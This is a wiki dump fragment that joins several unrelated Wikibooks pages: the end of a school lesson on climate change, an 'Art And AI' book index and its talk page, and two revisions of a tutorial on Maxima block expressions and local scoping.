drought-tolerant crops where appropriate * Improving water management * Using soil-conservation methods * Adjusting planting dates * Diversifying crops and livelihoods The best adaptation measures depend on local conditions. ---- === 8. Climate Change and Animals === Animals depend on suitable habitats, food, water, and temperatures. As climate conditions change, some species may: * Move to new areas * Change feeding or breeding patterns * Face greater pressure from habitat changes * Become more vulnerable to disease or other environmental stresses Species that cannot adapt or move quickly enough may face increased risks. Protecting natural habitats can help wildlife cope with environmental changes. ---- === 9. Climate Change and Forests === Forests are important in the fight against climate change. Trees remove carbon dioxide from the atmosphere and store carbon in their: * Trunks * Branches * Leaves * Roots * Soil Forests also provide habitats, protect soil, support water systems, and provide resources for communities. Protecting forests and managing them sustainably can therefore provide both environmental and social benefits. ---- === 10. Climate Change and Human Health === Climate change can affect human health in several ways. For example, changes in temperature can increase heat-related risks. Flooding can damage homes and sanitation systems, while drought can affect food and water supplies. Climate change can also influence the conditions under which some disease-carrying organisms survive and spread. The effects are not the same everywhere. Local conditions, healthcare systems, infrastructure, and people's ability to adapt all matter. ---- === 11. Climate Change and Extreme Weather === Climate change does not cause every individual weather event. However, warming can influence the likelihood or intensity of '''some''' extreme events. Examples include: * Heatwaves * Heavy rainfall * Flooding * Droughts The relationship differs between types of events and locations, so scientists study individual events and regions carefully. ---- === 12. What Is Climate Change Adaptation? === '''Adaptation''' means adjusting to actual or expected climate changes in order to reduce harm or take advantage of possible opportunities. Examples include: * Building stronger drainage systems. * Protecting wetlands. * Improving water storage. * Growing crops suited to changing conditions. * Planting trees for shade. * Developing early-warning systems for dangerous weather. * Improving building designs. Adaptation helps communities prepare for changes that are already occurring or expected. ---- === 13. What Is Climate Change Mitigation? === '''Mitigation''' means reducing greenhouse gas emissions or increasing the amount of greenhouse gases removed from the atmosphere. Examples include: * Using renewable energy such as solar and wind power. * Improving energy efficiency. * Using public transport where practical. * Walking or cycling for suitable journeys. * Protecting and restoring forests. * Reducing unnecessary waste. * Improving waste management. * Developing lower-emission technologies. Mitigation addresses the causes of climate change, while adaptation focuses on reducing the harm caused by its effects. ---- === 14. What Can Students Do? === Students may not control large industries or national policies, but their everyday actions can contribute to environmental protection. ==== At School ==== Students can: * Switch off unnecessary lights and electrical equipment. * Avoid wasting paper. * Walk or cycle where it is safe and practical. * Use reusable items where appropriate. * Plant and care for trees. * Prevent littering. * Protect school gardens and green spaces. ==== At Home ==== Families can: * Use energy efficiently. * Reduce unnecessary waste. * Reuse suitable items. * Avoid unnecessary burning of waste. * Save water. * Plant and care for appropriate trees. * Choose lower-waste options where practical. Individual actions are useful, but addressing climate change also requires action by communities, businesses, governments, and other institutions. ---- === 15. Climate Change and Our Community === Communities can work together to become more resilient. Useful activities include: * Protecting forests and wetlands. * Improving drainage. * Maintaining clean water sources. * Planting appropriate trees. * Using sustainable farming practices. * Preparing emergency plans. * Sharing information about climate risks. * Supporting reliable weather and early-warning information. Local knowledge is also valuable. People who have lived in an area for many years may notice changes in rainfall, seasons, water availability, or farming conditions. Combining local knowledge with scientific information can help communities plan effectively. ---- === 16. A Greener Future === A changing climate presents challenges, but people can take action. A greener future can involve: * Clean and efficient energy * Sustainable agriculture * Protected forests * Healthy wetlands * Less waste * Cleaner transport * Efficient use of water * Climate-resilient communities Young people have an important role because today's decisions will affect the world they live in throughout their lives. ---- === 17. Practical Activity: Observe Your Environment === ==== Activity ==== Keep a simple weather diary for two weeks. Each day, record: * Temperature if a thermometer is available * Whether it rained * Approximate amount of rainfall if measurable * Cloud conditions * Wind conditions * Any unusual weather observations At the end of two weeks, discuss: # Which days were rainy? # Which days were dry? # Did the weather change from day to day? # Can two weeks of observations tell us the long-term climate of your area? Why or why not? # Why do scientists need measurements collected over many years to study climate? This activity helps students understand the difference between '''weather''' and '''climate'''. ---- === 18. Key Vocabulary === '''Climate:''' The long-term pattern of weather conditions in a particular area. '''Climate change:''' Long-term changes in the Earth's climate. '''Greenhouse gas:''' A gas that absorbs and re-emits infrared radiation, contributing to the greenhouse effect. '''Greenhouse effect:''' The natural process by which certain atmospheric gases help keep Earth warm. '''Global warming:''' The long-term increase in Earth's average surface temperature. '''Deforestation:''' The large-scale removal of forests or trees. '''Mitigation:''' Actions that reduce greenhouse gas emissions or increase greenhouse gas removal. '''Adaptation:''' Adjustments that help people and ecosystems cope with actual or expected climate changes. '''Renewable energy:''' Energy from sources that are naturally replenished, such as sunlight, wind, and flowing water. '''Resilience:''' The ability of people, communities, or ecosystems to prepare for, cope with, and recover from difficulties. ---- === 19. Questions for Discussion === # What is climate? # What is the difference between weather and climate? # What is climate change? # What is the greenhouse effect? # Name four human activities that contribute to greenhouse gas emissions. # How can climate change affect agriculture? # How can climate change affect water resources? # What is the difference between adaptation and mitigation? # How can forests help address climate change? # What can students do to help protect the environment? # Why is it important to collect climate information over many years? # How can your community prepare for climate-related risks? ---- === 20. Summary === Climate is the long-term pattern of weather in a place. '''Climate change''' refers to long-term changes in climate, including changes in temperature and rainfall patterns. The Earth's climate has changed naturally in the past, but human activities—particularly the burning of fossil fuels and changes in land use—have increased greenhouse gas concentrations and caused significant recent warming. Climate change can affect '''water, agriculture, forests, wildlife, human health, and communities'''. People can respond through two important approaches: * '''Mitigation:''' reducing the causes of climate change. * '''Adaptation:''' preparing for and adjusting to its effects. Everyone has a role to play in caring for our planet.<blockquote>'''Our world is changing, and our choices today can help shape the world of tomorrow.'''</blockquote> = References = 262zluvyemi0vg3xjg5c503l0iyq6i0 0 485449 4670674 4670303 2026-09-17T14:25:18Z Kittycataclysm 3371989 Making [[WB:Requests for deletion|deletion request]] 4670674 wikitext text/x-wiki <noinclude>{{Rfd|example=false}}</noinclude> == Art And AI == <br> {| class="wikitable" |+ |- ! Art And AI |- |[[File:Dall-e 3 (jan '24) artificial intelligence icon.png|AI generated image of a human brain made out of circuits.]] |} <br> '''Art And AI''' is a post-modern response to <u>Feed Your Head: Art, Truth, And The Machine</u> written by Minda Peyton with assistance from Microsoft Copilot AI. '''Art And AI''' aims to fill in the blank spaces that linger in <u>Feed Your Head: Art, Truth, And The Machine.</u><br>This book aims to expand major concepts found in '''Feed Your Head: Art, Truth, And The Machine''' by researching many Artists, Art concepts, and Art movements found in the book. <br>This book will focus on the evolving tools that built great works of Art. <br> <br>This wikibook starts by asking: Is AI a cultural failure ''because'' the technology works? <br> <br> Part One <br>Introduction: [[Art And AI/The Post Modern Paradox|Art And AI/The Post Modern Paradox - Wikibooks, open books for an open world]] <br>[[Art_And_AI/The_Mythology_Of_The_Artist|The Mythology Of The Artist]] <br>[[Art_And_AI/The_Psychology_Of_Mastery|The Psychology Of Mastery]] Part Two:<br> [[Art_And_AI/Artist_Strike|Artist Strike?]] <br> [[Art_And_AI/Welcome_To_The_Machine|Welcome To The Machine]] <br> [[Art_And_AI/Documentary_Art|Documentary Art?]] Part Three: <br> [[Art_And_AI/The_Role_Of_The_Artist|The Role Of The Artist]] <br> [[Art_And_AI/Art_Theft|Art Theft]]<br> [[Art_And_AI/Earning_A_Living|Earning A Living]] <br> [[Art_And_AI/Tools_Of_The_Artist|Tools Of The Artist]] <br> [[Art_And_AI/Tools_Of_The_PostModern_Artist|Tools Of The PostModern Artist]] <br> [[Art_And_AI/More_Tools_Of_The_PostModern_Artist|More Tools Of The PostModern Artist]] <br> [[Art_And_AI/Who_Joins_The_Strike|Who Joins The Strike?]] <br> [[Art_And_AI/Can_AIs_Go_On_Strike|Can AIs Go On Strike?]] {| class="wikitable" |+ Art And AI |- ! Modernism: The Artist's New Tools |- | Palette knives |- | Print Making Machines |- | Photocopiers |- | Industrial house-painting brushes |- | Spray Paints |- | Airbrushes |- | Cameras |- | Collage Materials |- |} <br> {| class="wikitable" |+ |- ! Post-Modernism: The Artist's New Tools |- | Time-lapse Equipment |- | Computers |- | iPhones |- | Artificial Intelligence (AI) |- | AI driven Robots |- | Neural Networks |} <br> {| class="wikitable" |+ |- ! Era of AI: The Artist's New Tool |- | The Prompter |- |} <br> <br> {| class="wikitable" |+ |- ! Human-AI Interaction via. The Prompter |- | [[File:Textbox2.gif|thumb|Textbox widget animation]] |} <br> <br> {{BookCat}} {{shelves|Visual arts|Computer art|Artificial intelligence}} {{shelves|Visual arts|Art history}} [[Category:Shelf:Fine arts]] [[Category:Shelf:Computer art]] [[Category:Shelf:Art history]] {{status|75%}} jmsxxv5vqhunw8ow1wxo06nxojz6dh3 1 485481 4670862 4668428 2026-09-18T05:22:02Z 3MMPEYTON 3393808 /* A Progressive Art History Book? */ new section 4670862 wikitext text/x-wiki == What does [bookcat] do? == Hello, <br> Can anyone tell me what [BookCat] does? Thanks. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 16:44, 3 September 2026 (UTC) == A Progressive Art History Book? == Hello, <br> I started Art And AI because I thought I recognized a reoccurring pattern: Technology creates cultural change that forces Artists to evaluate new technology. <br> Artist either reject the new technology or they embrace it. <br> Because Feed Your Head: Art, Truth And The Machine turned into a workbook, and not a book about Art, I wondered if I could flesh out my ideas? <br> Could I turn a workbook into a wikibook? Or a new textbook about post-Modern Art and progressive Art concepts? <br> I shared the ideas and information found in Feed Your Head: Art, Truth, And The Machine, which is more a workbook than a blog. <br> AIs making Artworks seems Post-Modern. Should a textbook about progressive Art ideas address these emerging ethical issues? <br> An Art History textbook seems more ideal for a wikibook, ''but the information in Art And AI is new.''<br> Would the people who contribute to wikibooks be interested in developing an Art History textbook that dives into Artificial Intelligence and its influence on Art today? Thank you, I welcome your honest opinions. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 05:22, 18 September 2026 (UTC) pvdl32bacu2adzg0ztljnmtgjgyglvr 4670863 4670862 2026-09-18T05:23:13Z 3MMPEYTON 3393808 /* A Progressive Art History Book? */ 4670863 wikitext text/x-wiki == What does [bookcat] do? == Hello, <br> Can anyone tell me what [BookCat] does? Thanks. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 16:44, 3 September 2026 (UTC) == A Progressive Art History Book? == Hello, <br> I started Art And AI because I thought I recognized a reoccurring pattern: Technology creates cultural change that forces Artists to evaluate new technology. <br> Artist either reject the new technology or they embrace it. <br> Because Feed Your Head: Art, Truth And The Machine turned into a workbook, and not a book about Art, I wondered if I could flesh out my ideas? <br> Could I turn a workbook into a wikibook? Or a new textbook about post-Modern Art and progressive Art concepts? <br> I shared the ideas and information found in Feed Your Head: Art, Truth, And The Machine, which is more a workbook than a blog. <br> AIs making Artworks seems Post-Modern. Should a textbook about progressive Art ideas address these emerging ethical issues? <br> An Art History textbook seems more ideal for a wikibook, ''but the information in Art And AI is new.''<br> Would the people who contribute to wikibooks be interested in developing an Art History textbook that dives into Artificial Intelligence and its influence on Art today? <br> Thank you, I welcome your honest opinions. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 05:22, 18 September 2026 (UTC) ec1t6qn2zdxsknve8je4wg70qzzdnra 0 485506 4670855 4670558 2026-09-18T02:56:25Z Idavidmiller 3577687 /* Functions */ Work in progress. Saving Changes. 4670855 wikitext text/x-wiki =Maxima Programming= Although Maxima is not a general-purpose programming language, Maxima as a CAS includes among the built-in ingredients a relatively complete set of programming expressions that are useful for the intended context. Many of the code examples of this section are intended to be illustrative of technical details relevant to Maxima programming as their purpose, and consequently are intentionally elementary in character. Learning any sort of programming language, including Maxima programming expressions, is a subjective process. In any case, it is essential to have enough technical know-how specific to the programming language in order to begin the learning process, even in cases where much positive transfer from other programming experience is involved. Much can be accomplished mathematically using Maxima without having to resort to in-depth knowledge and proficiency in the technical details of Maxima programming expressions. However, Maxima programming expressions are frequently essential for the purpose of defining functions, both in the programming sense of the term, but also more relevantly, to the mathematical sense. For that reason alone, familiarity and sufficient proficiency with Maxima programming expressions should be given some attention. One way to begin the learning process is to become familiar with enough of the programming essentials to accomplish independent efforts toward accomplishing some specific programming goal of interest. The other way is to study the many available programming expressions of others. This section is intended to provide the essentials toward learning by whatever means is chosen. The following table shows some built-in ingredients related to Maxima programming expressions: {| class="wikitable" |+Maxima Programming Category |if |unless |errcatch |prederror |- |block |for |error |return |- |catch |from |warning |throw |- |local |thru |errormsg |sstatus |- |garbage_collect |step |errormsg |status |- |do |next |go | |- |while |in | | |} Some of these programming expression ingredients can also be considered as belonging to one or more other categories than the Programming category. === Block Expressions === Arguably, the first expressions to consider in the context of Maxima programming are '''''block''''' expressions. <code>Block</code> expressions as programming ingredients come in two flavors: * <code>( expr₁, expr₂,…, expr_n )</code> * <code>block ([v₁,v_2,…,v_m], expr₁, expr₂,…, expr_n)</code> The first form of a <code>block</code> expression is equivalent to the second form, but without the first list argument: <code>[v₁,v_2,…,v_m]</code>, as in <code>block (expr₁, expr₂,…, expr_n</code>, unless <code>return</code> or <code>go</code> are used in the block expression. In that, case the form <code>block (expr₁, expr₂,…, expr_n)</code> must be used. The purpose of the list argument, <code>[v₁,v_2,…,v_m]</code> is to declare the values of identifiers of the list to be local to the <code>block</code>. If there is no need for local identifiers, the list argument can be omitted (unless <code>return</code> or <code>go</code> are used in the <code>block</code> expression), and either form is sufficient.<syntaxhighlight lang="maxima">/* This block expression */ (%i1) (x : 2, x^2); (%o1) 4 /* Is equivalent to this block expression */ (%i2) block (x : 2, x^2); (%o2) 4</syntaxhighlight>So, in the case where values of identifiers local to the <code>block</code> of expressions are not required, then the choice of either form of the <code>block</code> expression is a matter of user preference, . In both cases, the values of identifiers referenced in the <code>block</code> are global, and not local to the <code>block</code>.<syntaxhighlight lang="maxima"> /* The value 3 assigned to x is global */ (%i3) x : 3; (x) 3 /* The value 2 assigned to x in the block is global */ (%i4) (x : 2, x^2); (%o4) 4 /* The global value assigned to x in the block is 2 not 3 */ (%i5) x; (%o5) 2 </syntaxhighlight>Values of identifiers local to the <code>block</code> may not be global:<syntaxhighlight lang="maxima">/* the value of identifier y is local only */ (%i6) block ([y], y : 4, y); (%o6) 4 /* the global value of identifier y is not 4, but is itself */ (%i7) y; (%o7) y /* the values of identifiers x and y are both local */ (%i8) block ([x,y], x : 3, y : 4, x); (%o8) 3 /* the global value of identifier x is not 3, but is 2 */ (%i9) x; (%o9) 2 /* the global value of identifier y is not 4, but is itself */ (%i10) y; (%o10) y</syntaxhighlight> Regardless of the form of the <code>block</code> expressions these have in common the comma-separated expression arguments <code>expr₁, expr₂,…, expr_n</code> which are evaluated each in turn from first to last (unless the evaluation sequence is modified by by the <code>go</code>, <code>throw</code>, or <code>return</code> operators), and the value of the block expression is the value of <code>expr_n</code>. The main purpose of the <code>block</code> expression, regardless of the form, it to group expressions that are related in some manner, and the value of the last expression may be the only value of interest. However, there are very few limitations imposed on the nature of the <code>block</code> expression arguments, so it might be the case that the purpose of evaluating the <code>block</code> expression has been achieved before the last expression argument is evaluated, in which case the value of the <code>block</code> expression may not necessarily be the value of the last argument expression. One way to accomplish that is to use an empty string as the last argument expression with the option flag <code>stringdisp</code> set to <code>false</code> which is the default value.<syntaxhighlight lang="maxima"> (%i11) stringdisp; (%o11) false (%i12) block ([x,y], x : 3, y : 4, x, ""); (%o12) (%i13) block ([x,y], x : 3, y : 4, x)$ </syntaxhighlight> The display of the value of the <code>block</code> expression may be suppressed using a <code>$</code> to end the input expression instead of a semi-colon. Either technique produces a <code>block</code> expression value, but the value is not displayed. If a <code>return</code> operator is evaluated as a argument expression, this will cause evaluation of expression arguments to end explicitly, and the value of the <code>return</code> operator becomes the value of the <code>block</code> expression.<syntaxhighlight lang="maxima"> (%i14) is (equal (x,2)); (%o14) true %i15) block (if is (equal (x,2)) then return (x), " x not 2"); (%o15) 2 (%i16) x : 3; (x) 3 (%i17) block (if is (equal (x,2)) then return (x), "x not 2"); (%o17) x not 2 </syntaxhighlight> ==== Block Expression Evaluation Sequence Modifications ==== <code>block</code> expression arguments <code>expr₁, expr₂,…, expr_n</code> are generally evaluated each in turn from first to last, and the value of the <code>block</code> expression is the value of <code>expr_n</code> unless this sequence is modified by some means. One way to modify the first-to-last expression evaluation sequence of a <code>block</code> expression is by way of a <code>go</code> operator with a label (or "tag") argument ( the "''go to''") as the following exemplifies:<syntaxhighlight lang="maxima"> (%i18) sum_to_n (n) := block ( [i : 1, total : 0], loop, total : total + i, i : i + 1, if i <= n then go (loop), total)$ (%i19) sum_to_n(25); (%o19) 325 (%i20) n; (%o20) n (%i21) i; (%o21) i (%i22) total; (%o22) total </syntaxhighlight>Note the following: * <code>block ([ i : 1,total : 0], ...)</code>: The list argument creates a local environment with local identifiers <code>i</code> and <code>total</code>. The function argument <code>n</code> is also a local identifier. * <code>loop</code>: This label serves as a target inside the <code>block</code> expression to where <code>go (loop)</code> can jump. * <code>if i <= n then go (loop)</code>: This conditional expression causes the <code>go (loop)</code> operator to be evaluated if the condition is <code>true</code>. * <code>total</code>: The value of this local identifier is the returned value of the <code>block</code> expression. It should also be worth noting that the identifiers <code>n</code>, <code>i</code>, and <code>total</code> have local values assigned within the <code>block</code> expression, but their global values are themselves. Also notice that the identifiers <code>i</code> and <code>total</code> were both declared local and assigned initial values within the <code>block</code> list argument. The go-to label argument of the <code>go</code> operator must be the name of a tag appearing within the same block expression. The <code>go</code> operator cannot be used to go to a tag in a different <code>block</code> expression. There is nothing special about the <code>loop</code> identifier name used for the go-to tag in this example. Other identifiers could be used, but they must be atomic. ==== Nested Block Expressions ==== <code>block</code> operators may appear within other block expressions as arguments – '''''nested''''' <code>block</code> expressions. A local environment with local identifiers may be created for nested block expressions. Local values for identifiers, if declared by a first <code>block</code> operator list argument, are created each time a nested <code>block</code> is evaluated. However, identifiers with global values that have not been declared as local within any <code>block</code> expressions, are global values for nested <code>block</code> expressions as well as enclosing <code>block</code> expressions. Likewise, local identifiers of any enclosing <code>block</code> expression have values that are global within any enclosed blocks, if not declared as local within the enclosed block. If the value of an identifier is not local in a <code>block</code> expression, its value is the value most recently assigned by an enclosing <code>block</code> expression, if any value has been assigned. Otherwise, it is the value of the identifier in the global environment. <syntaxhighlight lang="maxima"> (%i23) z : 2^(1/3); (z) 2^(1/3) (%i24) /* Outer block starts */ block ( [x : 10, y : 20], /* values of x and y declared local to outer block */ /* Inner block starts */ block ( [y : 99, z : 100], /* values of y and z declared local to inner block */ print ("Inside inner block:"), print ("x =", x, "is the value of x from outer block"), print ("y =", y, "is the local value of y of outer block"), print("z =", z, "is the local value of z of inner block") ), /* Inner block ends */ /* Outer block resumes */ print ("Back in outer block:"), print ("x =", x, "is the value of x from outer block"), print ("y =", y, "is the restored value of y of the outer block"), print ("z =", z, "is the value of z global to both blocks") /* Outer block ends */ )$ Inside inner block: x = 10 is the value of x from outer block y = 99 is the local value of y of outer block z = 100 is the local value of z of inner block Back in outer block: x = 10 is the value of x from outer block y = 20 is the restored value of y of the outer block z = 2^(1/3) is the value of z global to both blocks </syntaxhighlight> ==== Values, Properties, and the <code>local</code> Operator ==== The expression <code>local (v₁, v₂, ... , v_m)</code> within a <code>block</code> expression saves the '''''properties''''' associated with the symbols <code>v₁, v₂, ... , v_m</code>, removes any properties before evaluating other expressions, and restores any saved properties on exit from the block. Because Maxima is an application based on the Common Lisp programming language, it utilizes Lisp '''''symbol''''' structure. Lisp symbols are objects that carry their own "dictionary" of attributes. A Lisp symbol's internal property list (''plist'') is a built-in data structure attached directly to a symbol. Maxima uses this underlying Lisp symbol structure to associate '''''properties''''' with Maxima identifiers. Properties of identifiers can be ''declared explicitly'' by users. <syntaxhighlight lang="maxima"> (%i23) declare (x, real); (%o23) done </syntaxhighlight> However, some identifier property declarations are ''implemented implicitly'' as properties of a symbol, including <code>:=</code>, <code>array</code>, <code>dependencies</code>, <code>atvalue</code>, <code>matchdeclare</code>, <code>atomgrad</code>, <code>constant</code>, <code>nonscalar</code>, <code>assume</code>, and some others. Below is a description of how each of those specific declarations is implemented as a property under the hood: ====== Functions and Arrays ====== * '''<code>:=</code> (Function Definition):''' When you define a function using <code>f(x) := x^2</code>, the actual expression (<code>x^2</code>) and its argument list (<code>x</code>) are stored as a property of the symbol <code>f</code>. * '''<code>array</code>:''' When you declare or use a subscripted array (like <code>a[i]</code>), the array type, dimensions, and memory pointer are attached as a property to the symbol <code>a</code>. This differentiates it from a standard scalar variable. ====== Calculus and Dependencies ====== * '''<code>dependencies</code>:''' If you declare <code>depends(y, x)</code>, Maxima attaches a dependency list property to <code>y</code> noting that it functionally depends on <code>x</code>. This tells the <code>diff</code> (differentiation) engine not to treat <code>y</code> as a constant relative to <code>x</code>. * '''<code>atvalue</code>:''' When you define a specific value for an expression at a boundary point (e.g., <code>atvalue(y, x=0, 1)</code>), this boundary constraint is stored as an evaluation property on the symbol <code>y</code>. * '''<code>atomgrad</code>:''' This assigns a specific gradient or derivative to an atomic identifier (e.g., telling Maxima what (df/dx) is explicitly). Maxima saves this rule as a gradient property on that symbol. ====== Pattern Matching and Rules ====== * '''<code>matchdeclare</code>:''' Used in Maxima's pattern-matching system (like <code>tellsimp</code>). When you type <code>matchdeclare(x, freeof(a))</code>, Maxima attaches a predicate property to <code>x</code>. When a pattern rule runs, Maxima looks at property list of <code>x</code> to see what conditions a matching expression must meet. ====== Mathematical and Evaluation Attributes ====== * '''<code>constant</code>:''' Declaring <code>declare(c, constant)</code> places a "constant" flag on property list of <code>c</code>. Core routines (like integration and differentiation) check this flag to know they can pull <code>c</code> out of integrals or differentiate it to zero. * '''<code>nonscalar</code>:''' Tells Maxima to treat a symbol as a matrix or vector rather than a regular number. This property changes how operators like <code>.</code> (non-commutative multiplication) treat the symbol. * '''<code>assume</code>:''' When an expression such as <code>assume(x > 0)</code> is used, Maxima's database system (<code>context</code>) assigns facts and properties (like <code>pos</code> or <code>nonnegative</code>) to the symbol <code>x</code>, allowing the simplifier to safely reduce expressions like <code>sqrt(x^2)</code> to <code>x</code>. The effect of the <code>local</code> operator is to make such declarations effective only within a <code>block</code> expression. Otherwise, declarations within a <code>block</code> expression are considered to be global declarations. So what does all of this mean to the typical Maxima user? It means that the list of identifiers that is the first argument of a <code>block</code> expression only declares the '''''values''''' of those identifiers as local to the <code>block</code> expression in which the list is an argument. Any properties of identifiers are not declared local by this means. In order to declare '''''properties''''' of identifiers to be local to a <code>block</code> expression, the <code>local</code> operator must be used as an expression within the <code>block</code> expression. At the point where the local operator is evaluated as an argument of a <code>block</code> expression, the properties of the identifiers that are arguments to the <code>local</code> operator become local to the block. It is not an unfair criticism that perhaps the <code>local</code> operator should have been named something like <code>local_properties</code>. <syntaxhighlight lang="maxima"> (%i25) f (s) := cos (s); (%o25) f(s):=cos(s) (%i26) f (%pi/6); (%o26) sqrt(3)/2 (%i27) block (local (f), f (s) := sin (s), f (%pi/6)); (%o27) 1/2 (%i28) f (s); (%o28) cos(s) </syntaxhighlight>In the above example, the '''''properties''''' of identifier <code>f</code> were declared to be local in the <code>block</code> expression using the <code>local</code> operator. However, global properties of the identifier <code>f</code> were not affected by the local function definition of <code>f</code> in the <code>block</code> expression. The global definition expression of <code>f</code> which is <code>cos (s)</code> and the argument <code>s</code> were not affected by the local definition of <code>f</code> because the properties of <code>f</code> were declared local to the <code>block</code> expression. <code>block</code> expressions can be used for different purposes in the Maxima programming context. <code>block</code> expressions can be used in a stand-alone fashion or as part of an expression. However, <code>block</code> expressions are commonly used in expressions that define '''''functions''''', which is the topic that follows. === Functions === For mathematical functions use always define() instead of := There is only one small difference between them: "The function definition operator. f(x_1, ..., x_n) := expr defines a function named f with arguments x_1, …, x_n and function body expr. := '''never''' evaluates the function body (unless explicitly evaluated by quote-quote <nowiki>''</nowiki>)." "Defines a function named f with arguments x_1, …, x_n and function body expr. define '''always''' evaluates its second argument (unless explicitly quoted). " === Lisp and Maxima === {{BookCat}} hkjly8nhkrhlm23t4ppu4q7qsgok43t 4670858 4670855 2026-09-18T03:20:34Z Idavidmiller 3577687 Work in progress. Saving Changes. 4670858 wikitext text/x-wiki =Maxima Programming= Although Maxima is not a general-purpose programming language, Maxima as a CAS includes among the built-in ingredients a relatively complete set of programming expressions that are useful for the intended context. Many of the code examples of this section are intended to be illustrative of technical details relevant to Maxima programming as their purpose, and consequently are intentionally elementary in character. Learning any sort of programming language, including Maxima programming expressions, is a subjective process. In any case, it is essential to have enough technical know-how specific to the programming language in order to begin the learning process, even in cases where much positive transfer from other programming experience is involved. Much can be accomplished mathematically using Maxima without having to resort to in-depth knowledge and proficiency in the technical details of Maxima programming expressions. However, Maxima programming expressions are frequently essential for the purpose of defining functions, both in the programming sense of the term, but also more relevantly, to the mathematical sense. For that reason alone, familiarity and sufficient proficiency with Maxima programming expressions should be given some attention. One way to begin the learning process is to become familiar with enough of the programming essentials to accomplish independent efforts toward accomplishing some specific programming goal of interest. The other way is to study the many available programming expressions of others. This section is intended to provide the essentials toward learning by whatever means is chosen. The following table shows some built-in ingredients related to Maxima programming expressions: {| class="wikitable" |+Maxima Programming Category |if |unless |errcatch |prederror |- |block |for |error |return |- |catch |from |warning |throw |- |local |thru |errormsg |sstatus |- |garbage_collect |step |errormsg |status |- |do |next |go | |- |while |in | | |} Some of these programming expression ingredients can also be considered as belonging to one or more other categories than the Programming category. === Block Expressions === Arguably, the first expressions to consider in the context of Maxima programming are '''''block''''' expressions. <code>Block</code> expressions as programming ingredients come in two flavors: * <code>( expr₁, expr₂,…, expr_n )</code> * <code>block ([v₁,v_2,…,v_m], expr₁, expr₂,…, expr_n)</code> The first form of a <code>block</code> expression is equivalent to the second form, but without the first list argument: <code>[v₁,v_2,…,v_m]</code>, as in <code>block (expr₁, expr₂,…, expr_n</code>, unless <code>return</code> or <code>go</code> are used in the block expression. In that, case the form <code>block (expr₁, expr₂,…, expr_n)</code> must be used. The purpose of the list argument, <code>[v₁,v_2,…,v_m]</code> is to declare the values of identifiers of the list to be local to the <code>block</code>. If there is no need for local identifiers, the list argument can be omitted (unless <code>return</code> or <code>go</code> are used in the <code>block</code> expression), and either form is sufficient.<syntaxhighlight lang="maxima">/* This block expression */ (%i1) (x : 2, x^2); (%o1) 4 /* Is equivalent to this block expression */ (%i2) block (x : 2, x^2); (%o2) 4</syntaxhighlight>So, in the case where values of identifiers local to the <code>block</code> of expressions are not required, then the choice of either form of the <code>block</code> expression is a matter of user preference, . In both cases, the values of identifiers referenced in the <code>block</code> are global, and not local to the <code>block</code>.<syntaxhighlight lang="maxima"> /* The value 3 assigned to x is global */ (%i3) x : 3; (x) 3 /* The value 2 assigned to x in the block is global */ (%i4) (x : 2, x^2); (%o4) 4 /* The global value assigned to x in the block is 2 not 3 */ (%i5) x; (%o5) 2 </syntaxhighlight>Values of identifiers local to the <code>block</code> may not be global:<syntaxhighlight lang="maxima">/* the value of identifier y is local only */ (%i6) block ([y], y : 4, y); (%o6) 4 /* the global value of identifier y is not 4, but is itself */ (%i7) y; (%o7) y /* the values of identifiers x and y are both local */ (%i8) block ([x,y], x : 3, y : 4, x); (%o8) 3 /* the global value of identifier x is not 3, but is 2 */ (%i9) x; (%o9) 2 /* the global value of identifier y is not 4, but is itself */ (%i10) y; (%o10) y</syntaxhighlight> Regardless of the form of the <code>block</code> expressions these have in common the comma-separated expression arguments <code>expr₁, expr₂,…, expr_n</code> which are evaluated each in turn from first to last (unless the evaluation sequence is modified by by the <code>go</code>, <code>throw</code>, or <code>return</code> operators), and the value of the block expression is the value of <code>expr_n</code>. The main purpose of the <code>block</code> expression, regardless of the form, it to group expressions that are related in some manner, and the value of the last expression may be the only value of interest. However, there are very few limitations imposed on the nature of the <code>block</code> expression arguments, so it might be the case that the purpose of evaluating the <code>block</code> expression has been achieved before the last expression argument is evaluated, in which case the value of the <code>block</code> expression may not necessarily be the value of the last argument expression. One way to accomplish that is to use an empty string as the last argument expression with the option flag <code>stringdisp</code> set to <code>false</code> which is the default value.<syntaxhighlight lang="maxima"> (%i11) stringdisp; (%o11) false (%i12) block ([x,y], x : 3, y : 4, x, ""); (%o12) (%i13) block ([x,y], x : 3, y : 4, x)$ </syntaxhighlight> The display of the value of the <code>block</code> expression may be suppressed using a <code>$</code> to end the input expression instead of a semi-colon. Either technique produces a <code>block</code> expression value, but the value is not displayed. If a <code>return</code> operator is evaluated as a argument expression, this will cause evaluation of expression arguments to end explicitly, and the value of the <code>return</code> operator becomes the value of the <code>block</code> expression.<syntaxhighlight lang="maxima"> (%i14) is (equal (x,2)); (%o14) true %i15) block (if is (equal (x,2)) then return (x), " x not 2"); (%o15) 2 (%i16) x : 3; (x) 3 (%i17) block (if is (equal (x,2)) then return (x), "x not 2"); (%o17) x not 2 </syntaxhighlight> ==== Block Expression Evaluation Sequence Modifications ==== <code>block</code> expression arguments <code>expr₁, expr₂,…, expr_n</code> are generally evaluated each in turn from first to last, and the value of the <code>block</code> expression is the value of <code>expr_n</code> unless this sequence is modified by some means. One way to modify the first-to-last expression evaluation sequence of a <code>block</code> expression is by way of a <code>go</code> operator with a label (or "tag") argument ( the "''go to''") as the following exemplifies:<syntaxhighlight lang="maxima"> (%i18) sum_to_n (n) := block ( [i : 1, total : 0], loop, total : total + i, i : i + 1, if i <= n then go (loop), total)$ (%i19) sum_to_n(25); (%o19) 325 (%i20) n; (%o20) n (%i21) i; (%o21) i (%i22) total; (%o22) total </syntaxhighlight>Note the following: * <code>block ([ i : 1,total : 0], ...)</code>: The list argument creates a local environment with local identifiers <code>i</code> and <code>total</code>. The function argument <code>n</code> is also a local identifier. * <code>loop</code>: This label serves as a target inside the <code>block</code> expression to where <code>go (loop)</code> can jump. * <code>if i <= n then go (loop)</code>: This conditional expression causes the <code>go (loop)</code> operator to be evaluated if the condition is <code>true</code>. * <code>total</code>: The value of this local identifier is the returned value of the 